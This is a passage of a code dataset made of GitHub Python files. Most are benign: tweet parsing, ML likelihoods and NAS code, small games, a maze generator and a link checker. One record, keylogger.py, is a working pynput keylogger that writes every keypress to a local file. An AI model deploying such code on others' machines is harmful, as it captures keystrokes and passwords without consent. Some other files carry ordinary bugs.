test_lib.lib_error_cleanup(test_obj_dict)\n\n","repo_name":"bgerxx/woodpecker","sub_path":"integrationtest/vm/vm_offering/test_hotplugin_cpu_mem_5vm_parallel.py","file_name":"test_hotplugin_cpu_mem_5vm_parallel.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29279676317","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport json\nimport re\n\n#import pymongo\n#from pymongo import Connection()\n#conn = Connection()\n#db = conn.test\n\ns = [\"USERNAME\",\n     \"TWEET_ID\",\n     \"PLACE_ID\",\n     \"TIME\",\n     \"SOURCE\",\n     \"LAT\",\n     \"LONG\",\n     \"TWEET\"]\n\nsys.stdout.write(\"\\t\".join(s)+\"\\n\")\n\nfor f in sys.argv[1:]:\n    for line in open(f):\n        line = line.strip()\n        j = json.loads(line)\n\n\n        # if has a location:\n        if j[\"geo\"] == None:\n            continue\n\n        # USERNAME \"user\" : \"id\" / \"id_str\" ; \n        # TWEET_ID \"id_str\"\n        # PLACE_ID \"place\" : \"id\"\n        # TIME \"created_at\"\n        # SOURCE \"source\"\n        # LAT \"coordinates\" : \"coordinates\" : [0]\n        # LONG \"coordinates\" : \"coordinates\" : [1]\n        # TWEET \"text\"\n\n        place = str(None)\n        if j[\"place\"] is not None:\n            place = j[\"place\"][\"id\"]\n\n        res = [ j[\"user\"][\"id_str\"],\n                j[\"id\"],\n                place,\n                j[\"created_at\"],\n                j[\"source\"],\n                j[\"coordinates\"][\"coordinates\"][0],\n                j[\"coordinates\"][\"coordinates\"][1],\n                re.sub(\"\\s\",\" \",j[\"text\"])]\n\n\n        sys.stdout.write(\"\\t\".join([unicode(x) for x in res])+\"\\n\")\n        sys.stdout.flush()\n","repo_name":"obuzek/geotag","sub_path":"scripts/import/process_tweets_to_flat_file.py","file_name":"process_tweets_to_flat_file.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28506158744","text":"\"\"\"\nA class that represents an Gaussian likelihood with independent noise (diagonal covatiance) .\n\nAuthor:\n    Panagiotis Tsilifis\n\nDate:\n    5/25/2014\n\n\"\"\"\n\n\n__all__ = ['IndepNoiseGaussianLikelihood']\n\n\nimport numpy as np\nimport math\nfrom . import Likelihood\nfrom . import view_as_column\n\n\nclass IndepNoiseGaussianLikelihood(Likelihood):\n\n    \"\"\"\n    The Gaussian likelihood with independent noises has as parameters the\n    diagonal elements of the covariance matrix.\n\n    It is like this:\n\n        L(y, f(x), theta) = log N(y | f(x), diag(theta_1,...,theta_N)).\n\n    \"\"\"\n\n    def __init__(self, y, model, name='Independent noise Gaussian Likelihood'):\n        \"\"\"\n        Initialize the model.\n        \"\"\"\n        num_like_params = model.num_output\n        super(IndepNoiseGaussianLikelihood, self).__init__(y, model, num_like_params,\n                                                          name=name)\n\n    def _noise_eval(self, fx, theta):\n        \"\"\"\n        Evaluate the model.\n        \"\"\"\n        N = self.model.num_output\n        tmp = np.dot(np.diag(1/theta[:]) ,self.y - fx)\n        err2 = np.dot(tmp, tmp)\n        L = (-0.5 * N * math.log(2. * math.pi) - np.sum(np.log(theta[:]))\n              - 0.5 * err2)\n        dLdfx = np.dot(np.diag(1/theta[:]), tmp)\n        dLdfx = view_as_column(dLdfx)\n        dLdtheta = -1 / theta[:] + tmp * tmp / theta[:]\n        dLdtheta = view_as_column(dLdtheta)\n        d2Ldfx2 = -np.diag(1 / theta[:] ** 2.)\n        d2Ldtheta2 = 1 / theta[:] ** 2 - 3 * tmp * tmp / theta[:] ** 2\n        d2Ldthetafx = -2. * tmp / theta[:] ** 2\n        state = {}\n        state['L'] = L\n        state['L_grad_f'] = dLdfx.reshape((1, N))\n        state['L_grad_theta'] = dLdtheta.reshape((1, self.num_like_params))\n        state['L_grad_2_f'] = d2Ldfx2\n        state['L_grad_2_theta'] = np.diag(d2Ldtheta2)\n        state['L_grad_2_theta_f'] = np.diag(d2Ldthetafx)\n        return state\n","repo_name":"ebilionis/variational-reformulation-of-inverse-problems","sub_path":"vuq/_indep_noise_gaussian_likelihood.py","file_name":"_indep_noise_gaussian_likelihood.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"35654809634","text":"import random\n\n\nclass Fighter:\n    def __init__(self, name, hp, atk):\n        self.name = name\n        self.hp = hp\n        self.atk = atk\n\n    def attack(self, enemy):\n        if enemy.hp > self.atk:\n            enemy.hp = enemy.hp - self.atk\n        else:\n            enemy.hp = 0\n\n\ncat = Fighter('Bobo', 100, 14)\ndog = Fighter('Dage', 88, 23)\n\nDattacks = random.randint(1, 10)\nCattacks = random.randint(1, 10)\n\nwhile Dattacks > 0:\n    dog.attack(cat)\n    print(f\"cat hp: {cat.hp},  dog hp: {dog.hp}\")\n    Dattacks -= 1\n\nwhile Cattacks > 0:\n    cat.attack(dog)\n    print(f\"cat hp: {cat.hp},  dog hp: {dog.hp}\")\n    Cattacks -= 1\n\nprint(f\"cat hp: {cat.hp},  dog hp: {dog.hp}\")","repo_name":"NightKiller152/Python_examples","sub_path":"SimplePython/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26144311750","text":"class Solution:\n    def repairCars(self, ranks: List[int], cars: int) -> int:\n        counter = Counter(ranks)\n        def check(timeLimit):\n            fixed = 0\n            for r in counter.keys():\n                n = int(sqrt(timeLimit//r))\n                fixed += n * counter[r]\n            return fixed >= cars\n\n        l, r = 0, int(1e14)\n        while l < r:\n            mid = l + (r-l)//2\n            if check(mid):\n                r = mid\n            else:\n                l = mid+1\n        return l","repo_name":"Vergil0327/leetcode-history","sub_path":"Binary Search/2594. Minimum Time to Repair Cars/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17990036745","text":"import random\nimport numpy as np\nfrom data_augmentation import elastic_transform, gaussian_blur, gaussian_noise, random_crop\n\n\ndef force_inside_img(x, patch_size, img_shape):\n    x_low = int(x - patch_size / 2)\n    x_up = int(x + patch_size / 2)\n    if x_low < 0:\n        x_up -= x_low\n        x_low = 0\n    elif x_up > img_shape:  # 2d, is img_shape[2] in github, hopefully taken care of in prev step\n        x_low -= (x_up - img_shape)\n        x_up = img_shape\n    return x_low, x_up\n\n\ndef extract_random_patch(img, mask, weight, verts, idx, subset, empty_interval=5, patch_size=128):\n    flag_empty = False\n\n    # list available vertebrae\n    # verts = np.unique(mask)  # passed from dataloader\n    chosen_vert = verts[random.randint(1, len(verts) - 1)]  # avoid 0, background\n    # print('chosen vert is:',chosen_vert)\n\n    # create corresponde instance memory and ground truth - goes bottom to top\n    # ins_memory = np.copy(mask)  # you can basically do this too and set others to 0\n    height, width, layers = np.shape(mask)\n    ins_memory = np.zeros((height, width, layers))\n\n    for layer in range(layers):  # basically, if vert is above or equal to chosen, set to 0, else 1\n        cur_layer = mask[:,:,layer]\n        if layer <= chosen_vert:\n            continue  # stays 0\n        else:\n            ins_memory[:,:,layer] = cur_layer  # change to 1\n    \n    gt = np.zeros((height, width, layers))\n    gt[:,:,chosen_vert] = mask[:,:,chosen_vert]  # ground truth is current vertebrae only\n\n    # send empty mask sample in certain frequency\n    if idx % empty_interval == 0:  # every 5 iterations, send empty\n        patch_center = [np.random.randint(0, s) for s in img.shape]\n        x = patch_center[0]  # should be right... x is [0] (height)\n        y = patch_center[1]\n\n        # for instance memory\n        gt = np.copy(mask)  # will modify later\n        flag_empty = True\n    else:\n        # indices = np.nonzero(mask == chosen_vert)\n        indices = np.nonzero(mask[:,:,chosen_vert])\n        try:  # DEBUG for empty masks breaking lower/upper\n            lower = [np.min(i) for i in indices]\n            upper = [np.max(i) for i in indices]\n        except ValueError:  # log it and just use the empty case\n            print('vertebrae',chosen_vert,'does not have nonzero indices')\n            patch_center = [np.random.randint(0, s) for s in img.shape]\n            x = patch_center[0]  # should be right... x is [0] (height)\n            y = patch_center[1]\n\n        # for instance memory\n        gt = np.copy(mask)  # will modify later\n        flag_empty = True\n\n        # lower = [np.min(i) for i in indices]\n        # upper = [np.max(i) for i in indices]\n        # random center of patch\n        x = random.randint(lower[0], upper[0])  # should be right... x is [0] (height)\n        y = random.randint(lower[1], upper[1])\n\n    # force random patches' range within the image\n    # print('img.shape is:',img.shape)\n    x_low, x_up = force_inside_img(x, patch_size, img.shape[0])\n    y_low, y_up = force_inside_img(y, patch_size, img.shape[1])\n\n    # crop the patch\n    img_patch = img[x_low:x_up, y_low:y_up]\n    # print('img_patch size is:',np.shape(img_patch))  # should always be 128 128 3\n    ins_patch = ins_memory[x_low:x_up, y_low:y_up, :]\n    gt_patch = gt[x_low:x_up, y_low:y_up, :]\n    weight_patch = weight[x_low:x_up, y_low:y_up, :]\n\n    #  if the label is empty mask\n    if flag_empty:\n        ins_patch = np.copy(gt_patch)\n        gt_patch = np.zeros_like(ins_patch)\n        weight_patch = np.ones_like(ins_patch)  # empty patch has no weight preference\n\n    # Random on-the-fly Data Augmentation\n    if subset == 'train':\n        # 50% chance elastic deformation  # TODO: does not work yet with 26-layered arrays\n        # if np.random.rand() > 0.5:\n            # img_patch, gt_patch, ins_patch, weight_patch = elastic_transform(img_patch, gt_patch, ins_patch,\n                                                                            #  weight_patch, alpha=20, sigma=5)\n        # 50% chance gaussian blur\n        if np.random.rand() > 0.5:\n            img_patch = gaussian_blur(img_patch)\n        # 50% chance gaussian noise\n        if np.random.rand() > 0.5:\n            img_patch = gaussian_noise(img_patch)\n\n        # 50% random crop along z-axis  # meh it's 128x128 anyways.\n        # if np.random.rand() > 0.5:\n            # img_patch, ins_patch, gt_patch, weight_patch = random_crop(img_patch, ins_patch, gt_patch,\n                                                                    #    weight_patch)\n\n    # decide label of completeness(partial or complete)\n    vol = np.count_nonzero(gt == 1)\n    sample_vol = np.count_nonzero(gt_patch == 1)\n    c_label = 0 if float(sample_vol / (vol + 0.0001)) < 0.98 else 1\n\n    # why is this even here\n    # img_patch = np.expand_dims(img_patch, axis=0)\n    # ins_patch = np.expand_dims(ins_patch, axis=0)\n    # gt_patch = np.expand_dims(gt_patch, axis=0)\n    # weight_patch = np.expand_dims(weight_patch, axis=0)\n    # c_label = np.expand_dims(c_label, axis=0)\n\n    return img_patch, ins_patch, gt_patch, weight_patch, c_label\n","repo_name":"dreamxjei/vertebra_ifcn","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17032143976","text":"from geoLocation import geoLocation\n\nmyLocation = geoLocation()\nip = myLocation['city']\ncountry_code = myLocation['country_code']\ncounty_code = myLocation['region_code']\nlatitude = myLocation['latitude']\nlongitude = myLocation['longitude']\nmetro_code = myLocation['metro_code']\narea_code = myLocation['area_code']\ncity = myLocation['city']\ncounty = myLocation['region_name']\ncountry = myLocation['country_name']\nzip = myLocation['zipcode']\n","repo_name":"developius/geolocation","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72387951368","text":"import os\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers, optimizers, datasets, callbacks\nfrom global_parameters import *\n\ndef dense_model(layer_nerons):\n    model = keras.models.Sequential()\n    for node_i in layer_nerons:\n        model.add(layers.Dense(node_i, activation='relu'))\n    return model\n\ndef cnn_model(layer_architectures):\n    model = keras.models.Sequential()\n    for layer_arch in layer_architectures:\n        filter_hw = layer_arch['filter_hw'] if 'filter_hw' in layer_arch.keys() else 3\n        filter_c  = layer_arch['filter_c'] if 'filter_c' in layer_arch.keys() else 16\n        stride_len = layer_arch['stride_len'] if 'stride_len' in layer_arch.keys() else 1\n        padding    = layer_arch['padding'] if 'padding' in layer_arch.keys() else 'same'\n        activation = layer_arch['activation'] if 'activation' in layer_arch.keys() else 'relu'\n        model.add(\n            layers.Conv2D(\n                filter_c,\n                (filter_hw, filter_hw),\n                strides=(stride_len, stride_len),\n                padding=padding,\n                activation=activation\n            )\n        )\n    model.add(layers.GlobalAveragePooling2D())\n    model.add(layers.Dense(10, activation='softmax'))\n    return model\n\ndef rnn_model(actions):\n    pass\n\nclass Env:\n    def __init__(self, dataset, epochs=100, child_batchsize=128, acc_beta=0.8, clip_rewards=0.0, env_type='Dense'):\n        self.dataset = dataset\n        self.epochs = epochs\n        self.batchsize = child_batchsize\n        self.clip_rewards = clip_rewards\n\n        self.beta = acc_beta\n        self.beta_bias = acc_beta\n        self.moving_acc = 0.0\n        self.type = env_type\n\n        checkpoint_dir = 'child_nn_weights/' + data_set_name\n        checkpoint_file_name = 'weights-best-{epoch:04d}.ckpt'\n        self.checkpoint_path = os.path.join(checkpoint_dir, checkpoint_file_name)\n\n        if not os.path.exists(checkpoint_dir):\n            os.makedirs(checkpoint_dir)\n\n\n    def get_rewards(self, actions):\n        # generate a child architecture\n        train_loader, test_loader = self.dataset\n        train_iter = iter(train_loader)\n        sample = next(train_iter)\n        print('batch shape', sample[0].shape, sample[1].shape)\n        output_size = len(tf.unique(sample[1]))\n\n        if self.type == 'CNN':\n            model = cnn_model(actions)\n        elif self.type == 'RNN':\n            model = rnn_model(actions)\n        else:\n            input_size = np.array(sample[0].shape[1:]).prod()\n            model = dense_model(actions)\n            model.add(layers.Dense(output_size))\n            model.build(input_shape=(None, input_size))\n\n        model.compile(\n            optimizer = keras.optimizers.Adam(learning_rate=1e-3, beta_1=0.9, beta_2=0.999, amsgrad=False),\n            loss = keras.losses.CategoricalCrossentropy(from_logits=True),\n            metrics=['accuracy']\n        )\n        model.summary()\n\n        # unpack the dataset\n        ds, ds_test = self.dataset\n\n        checkpoint = callbacks.ModelCheckpoint(\n            self.checkpoint_path,\n            monitor='val_loss',\n            verbose=1,\n            save_best_only=True,\n            save_weights_only=True,\n            mode='auto',\n            save_freq='epoch'\n        )\n\n        callback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=3)\n        model.save_weights(self.checkpoint_path.format(epoch=0))\n\n        model.fit(ds,\n            validation_data=ds_val,\n            #batch_size=self.batchsize,\n            epochs=self.epochs,\n            callbacks=[checkpoint],\n            verbose=2,  #one line per epoch\n            initial_epoch=0\n        )\n\n        # load best performance epoch then evaluate the model\n        model = keras.models.create_model()\n        model.load_weights(self.checkpoint_path, by_name=True, skip_mismatch=False)\n        loss, acc = model.evaluate(ds_test, verbose=2, batch_size=self.batchsize)\n\n        # compute the reward\n        reward = (acc - self.moving_acc)\n\n        # if rewards are clipped, clip them in the range -0.05 to 0.05\n        if self.clip_rewards:\n            reward = np.clip(reward, -0.05, 0.05)\n\n        # update moving accuracy with bias correction for 1st update\n        if self.beta > 0.0 and self.beta < 1.0:\n            self.moving_acc = self.beta * self.moving_acc + (1 - self.beta) * acc\n            self.moving_acc = self.moving_acc / (1 - self.beta_bias)\n            self.beta_bias = 0\n            reward = np.clip(reward, -0.1, 0.1)\n        print(\"Manager: EWA Accuracy = \", self.moving_acc)\n\n        del model\n        \n        return reward, acc\n","repo_name":"yaogood/NAS-tensorflow2","sub_path":"NAS/cnn_env.py","file_name":"cnn_env.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20666508920","text":"from pynput import keyboard\nfrom apptools import screen\n\ndef keylogger_menu():\n    menu = \"\"\"\n    1- Start Keylogger\n    2- Name the save file\n    3- Menu\n\n    Note: If the file is not named, the file will be saved as log.txt\n\n    \"\"\"\n\n    key = 1\n    filename = \"log.txt\"\n    while key == 1:\n        m_input = int(input(menu))\n        screen.clear()\n        if m_input == 1: # Start keylogger\n                escape = ['Key.esc' , 'Key.shift'] # Control list to cloasing the keylogger\n                released_keys = []\n                def on_press(key): # Taking inputs\n                    try:\n                        with open(filename, 'a') as f:\n                            f.write('{0} pressed\\n'.format(key)) # Write pressed key to log file\n\n                    except:\n                        pass\n\n                def on_release(key):\n                    released_keys.append(format(key)) # Adding released keys to the list\n                    if released_keys[-2:] == escape: # Pressing esc and then shift will stops the keylogger\n                        return False\n\n                with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: # Pynput keyboard control\n                    listener.join()\n\n        if m_input == 2: # Name the file\n            screen.clear()\n            filename = input(\"Enter the name of the file: \") + \".txt\"\n\n        if m_input == 3: # Go back to menu\n                key = 0\n    else:\n        screen.clear()\n        return True","repo_name":"Bantraaa/CyberTool","sub_path":"keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2433083583","text":"#!/usr/bin/env python3\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport sys\n\nsite = sys.argv[1]\n\nr = requests.get(\"https://cms.integreat-app.de/{}/de/wp-json/extensions/v3/languages\".format(site))\nlanguages = r.json()\n\npages = []\n\ndef get_all_pages( languages, pages ):\n    for lang in languages:\n        r = requests.get(\"https://cms.integreat-app.de/{}/{}/wp-json/extensions/v3/pages\".format(site, lang['code']))\n        lang_pages = r.json()\n        pages = pages + lang_pages\n    return pages\n\npages = get_all_pages(languages, pages)\navailable_permalinks = []\n\nfor page in pages:\n    available_permalinks.append(page['url'])\n\nfor page in pages:\n    soup = BeautifulSoup(page['content'], \"lxml\")\n    invalid = []\n    for a in soup.find_all('a', href=True):\n        link = a['href']\n        if not link.endswith('/'):\n            link = link + '/'\n        if (link.startswith('https://cms.integreat-app.de/{}/'.format(site)) and\n            \"/wp-content/uploads/\" not in link and\n            link not in available_permalinks):\n            invalid.append(link)\n    if invalid:\n        print(\"\")\n        print(\"------\")\n        print(\"\")\n        print(\"Errors in {}\".format(page['title']))\n        print(\"Edit: https://cms.integreat-app.de/{}/wp-admin/post.php?post={}&action=edit&lang=de\".format(site, page['id']))\n        print(\"URL: {}\".format(page['url']))\n        for link in invalid:\n            print(\"  INVALID: {}\".format(link))\n","repo_name":"digitalfabrik/helper-bash-scripts","sub_path":"content-validation/validate-internal-links.py","file_name":"validate-internal-links.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70152766730","text":"import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import datasets, layers, models, optimizers\nimport numpy as np\n\n\nmodel=keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])#units=dimensionality of the output space and input_shape is 1\nmodel.compile(optimizer='sgd',loss='mean_squared_error')#Stochastic gradient descent Optimizer\n\n#train_data\nxs=np.array([-1.0,0.0,1.0,2.0,3.0,4.0],dtype=float)#features\nys=np.array([-3.0,-1.0,1.0,3.0,5.0,7.0],dtype=float)#labels\n\n#test_data\nxt=np.array([-1.0,0.0,1.0],dtype=float)\nyt=np.array([-3.0,-1.0,1.0],dtype=float)\n\nmodel.fit(xs,ys,epochs=500)\n\n#predicting values\nprint(model.predict([10.0]))\nprint(model.predict([100.0]))\n\n#evaluating model based on test_data\nloss=model.evaluate(xt,yt,verbose=1) #verbose =0,1 or 2:for representing epochs\nprint('\\n Loss={0:.2f}%'.format(loss*100.0))\nprint('\\n Accuracy={0:.2f}%'.format((1-loss)*100.0))","repo_name":"ASaiVivek/Hello-World-Neural-Network","sub_path":"NNhelloworld.py","file_name":"NNhelloworld.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37020285720","text":"import numpy as np\nimport torch\nfrom torch import nn\n\n\nclass Network(nn.Module):\n    def __init__(self, env):\n        super().__init__()\n\n        in_features = int(np.prod(env.observation_space.shape))\n\n        self.net = nn.Sequential(\n            nn.Linear(in_features, 64),\n            nn.Tanh(),\n            nn.Linear(64, env.action_space.n))\n\n    def forward(self, x):\n        return self.net(x)\n\n    def act(self, observation: np.ndarray, action_mask: np.ndarray):\n        obs_as_tensor = torch.as_tensor(observation, dtype=torch.float32)\n        q_values = self(obs_as_tensor.unsqueeze(0)).detach().numpy()\n        masked = q_values * action_mask\n        filtered = np.where(masked == 0, -np.inf, masked)\n        # print(observation)\n        # print(filtered)\n        # print(\"MAX\", int(np.argmax(filtered, axis=1)))\n        # input()\n        return int(np.argmax(filtered, axis=1))\n","repo_name":"JMooreo/TicketToRideAI","sub_path":"src/DeepQLearning/DeepQNetwork.py","file_name":"DeepQNetwork.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"9831374345","text":"import game_framework\nfrom pico2d import *\nimport game_world\nfrom ball import Ball\nimport server\n\n\nPIXEL_PER_METER = (10.0 / 0.3)  # 10 pixel 30 cm\nRUN_SPEED_KMPH = 40.0  # Km / Hour\nRUN_SPEED_MPM = (RUN_SPEED_KMPH * 1000.0 / 60.0)\nRUN_SPEED_MPS = (RUN_SPEED_MPM / 60.0)\nRUN_SPEED_PPS = (RUN_SPEED_MPS * PIXEL_PER_METER)\n\nTIME_PER_ACTION = 0.5\nACTION_PER_TIME = 1.0 / TIME_PER_ACTION\nFRAMES_PER_ACTION = 8\n\n\nRIGHTKEY_DOWN, LEFTKEY_DOWN, UPKEY_DOWN, DOWNKEY_DOWN, RIGHTKEY_UP, LEFTKEY_UP, UPKEY_UP, DOWNKEY_UP, SPACE = range(9)\nkey_event_table = {\n    (SDL_KEYDOWN, SDLK_d): RIGHTKEY_DOWN,\n    (SDL_KEYDOWN, SDLK_a): LEFTKEY_DOWN,\n    (SDL_KEYDOWN, SDLK_w): UPKEY_DOWN,\n    (SDL_KEYDOWN, SDLK_s): DOWNKEY_DOWN,\n    (SDL_KEYUP, SDLK_d): RIGHTKEY_UP,\n    (SDL_KEYUP, SDLK_a): LEFTKEY_UP,\n    (SDL_KEYUP, SDLK_w): UPKEY_UP,\n    (SDL_KEYUP, SDLK_s): DOWNKEY_UP,\n    (SDL_KEYDOWN, SDLK_SPACE): SPACE\n}\n\n\nclass WalkingState:\n    def enter(scharacter, event):\n        if event == RIGHTKEY_DOWN:\n            scharacter.x_velocity += RUN_SPEED_PPS\n        elif event == RIGHTKEY_UP:\n            scharacter.x_velocity -= RUN_SPEED_PPS\n        if event == LEFTKEY_DOWN:\n            scharacter.x_velocity -= RUN_SPEED_PPS\n        elif event == LEFTKEY_UP:\n            scharacter.x_velocity += RUN_SPEED_PPS\n\n        if event == UPKEY_DOWN:\n            scharacter.y_velocity += RUN_SPEED_PPS\n        elif event == UPKEY_UP:\n            scharacter.y_velocity -= RUN_SPEED_PPS\n        if event == DOWNKEY_DOWN:\n            scharacter.y_velocity -= RUN_SPEED_PPS\n        elif event == DOWNKEY_UP:\n            scharacter.y_velocity += RUN_SPEED_PPS\n\n    def exit(scharacter, event):\n        scharacter.face_x = scharacter.x_velocity\n        if event == SPACE:\n            scharacter.fire_ball()\n\n    def do(scharacter):\n        scharacter.frame = (scharacter.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % FRAMES_PER_ACTION\n        scharacter.x += scharacter.x_velocity * game_framework.frame_time\n        scharacter.y += scharacter.y_velocity * game_framework.frame_time\n\n\n    def draw(scharacter): #방향 좌표 확인해야함\n        cx, cy = server.background.canvas_width // 2, server.background.canvas_height // 2\n        scharacter.font.draw(cx - 40, cy + 40, '(%d, %d)' % (scharacter.x, scharacter.y), (255, 255, 0))\n        if scharacter.x_velocity > 0:\n            scharacter.image.clip_draw(int(scharacter.frame) * 30, 0, 30, 30, cx, cy)\n            scharacter.dir = 1\n        elif scharacter.x_velocity < 0:\n            scharacter.image.clip_draw(int(scharacter.frame) * 30, 30, 30, 30, cx, cy)\n            scharacter.dir = -1\n        else:\n            if scharacter.y_velocity > 0 or scharacter.y_velocity < 0:\n                if scharacter.dir == 1:\n                    scharacter.image.clip_draw(int(scharacter.frame) * 30, 60, 30, 30, cx, cy)\n                else:\n                    scharacter.image.clip_draw(int(scharacter.frame) * 30, 90, 30, 30, cx, cy)\n            else:\n                if scharacter.dir == -1:\n                    scharacter.image.clip_draw(int(scharacter.frame) * 30, 90, 30, 30, cx, cy)\n                else:\n                    scharacter.image.clip_draw(int(scharacter.frame) * 30, 60, 30, 30, cx, cy)\n\n\nnext_state_table = {\n    WalkingState: {RIGHTKEY_UP: WalkingState, LEFTKEY_UP: WalkingState, RIGHTKEY_DOWN: WalkingState, LEFTKEY_DOWN: WalkingState,\n                UPKEY_UP: WalkingState, UPKEY_DOWN: WalkingState, DOWNKEY_UP: WalkingState, DOWNKEY_DOWN: WalkingState,\n                SPACE: WalkingState}\n}\n\n\nclass Scharacter:\n\n    def __init__(self):\n        self.image = load_image('main_character.png')\n        self.font = load_font('ENCR10B.TTF', 16)\n        self.dir = 1\n        self.x_velocity, self.y_velocity = 0, 0\n        self.frame = 0\n        self.event_que = []\n        self.cur_state = WalkingState\n        self.cur_state.enter(self, None)\n        self.x, self.y = 500, 300\n\n\n    def get_bb(self):\n        return self.x - 50, self.y - 50, self.x + 50, self.y + 50\n\n\n    def set_background(self, bg):\n        self.bg = bg\n        self.x = self.bg.w / 2\n        self.y = self.bg.h / 2\n\n    def add_event(self, event):\n        self.event_que.insert(0, event)\n\n    def update(self):\n        self.cur_state.do(self)\n        if len(self.event_que) > 0:\n            event = self.event_que.pop()\n            self.cur_state.exit(self, event)\n            self.cur_state = next_state_table[self.cur_state][event]\n            self.cur_state.enter(self, event)\n\n    def draw(self):\n        self.cur_state.draw(self)\n\n\n    def handle_event(self, event):\n        if (event.type, event.key) in key_event_table:\n            key_event = key_event_table[(event.type, event.key)]\n            self.add_event(key_event)\n\n    def fire_ball(self):\n        print('FIRE BALL')\n        ball = Ball(self.x, self.y, self.face_x*2)\n        game_world.add_object(ball, 1)\n","repo_name":"kywon22/2DGP-project_2021184019","sub_path":"dummy/scharacter.py","file_name":"scharacter.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29718789230","text":"import random\n\nclass Labyrintti:\n    \"\"\"Luokka, joka luo labyrintin Primin algoritmilla\"\"\"\n    def __init__(self, n):\n        \"\"\"Luokan konstruktori, joka luo ruudukon täynnä seiniä\n\n            Arg:\n                n: koko labyrintille, joka muodostetaan nxn\n        \"\"\"\n        self.n = n\n        self.ruudukko = [[]]*self.n\n        self.vierailtu = [[]]*self.n\n\n        for i in range(n):\n            self.ruudukko[i] = ['#']*self.n\n            self.vierailtu[i] = [0]*self.n\n\n        self.ruudukko[0][1] = \".\"\n\n        self.seinat = []\n\n    def viereiset(self, x, y):\n        \"\"\"Metodi, joka etsii ruudun mahdolliset viereiset ruudut\n\n            Args:\n                x: ruudun rivikoordinaatti\n                y: ruudun sarakekoordinaatti\n            Returns:\n                lista ruudun viereisistä ruuduista\n        \"\"\"\n        viereiset = []\n        if y-1 >= 1:\n            if self.vierailtu[x][y-1] == 0:\n                viereiset.append((x, y-1))\n\n        if y+1 < self.n-1:\n            if self.vierailtu[x][y+1] == 0:\n                viereiset.append((x, y+1))\n\n        if x+1 < self.n-1:\n            if self.vierailtu[x+1][y] == 0:\n                viereiset.append((x+1, y))\n\n        if x-1 >= 1:\n            if self.vierailtu[x-1][y] == 0:\n                viereiset.append((x-1, y))\n        return viereiset\n\n    def luo(self, x, y):\n        \"\"\"Metodi, joka luo labyrintin\n\n            Args:\n                x: aloitusruudun rivikoordinaatti\n                y: aloitusruudun sarakekoordinaatti\n        \"\"\"\n        if self.vierailtu[x][y] == 1:\n            return\n\n        seina = self.viereiset(x, y)\n        self.vierailtu[x][y] = 1\n        self.ruudukko[x][y] = '.'\n\n        for s in seina:\n            if s in self.seinat:\n                self.seinat.remove(s)\n                self.vierailtu[s[0]][s[1]] = 1\n            else:\n                self.seinat.append(s)\n\n        if len(self.seinat) > 0:\n            seuraava = random.choice(self.seinat)\n            self.seinat.remove(seuraava)\n            self.luo(seuraava[0], seuraava[1])\n\n    def maali(self):\n        \"\"\"Metodi, joka luo labyrintille päätepisteen\"\"\"\n        for i in range(self.n-2, 1, -1):\n            if self.ruudukko[i][self.n-2] == \".\":\n                self.ruudukko[i][self.n-1] = \".\"\n                return\n\n    def palauta(self):\n        \"\"\"Metodi, joka palauttaa labyrintin\"\"\"\n        self.luo(1, 1)\n        self.maali()\n        for k in self.ruudukko:\n            print(k)\n        print(\"\")\n        return self.ruudukko","repo_name":"ainokuos/reitti-labyrintissa","sub_path":"src/labyrintti.py","file_name":"labyrintti.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
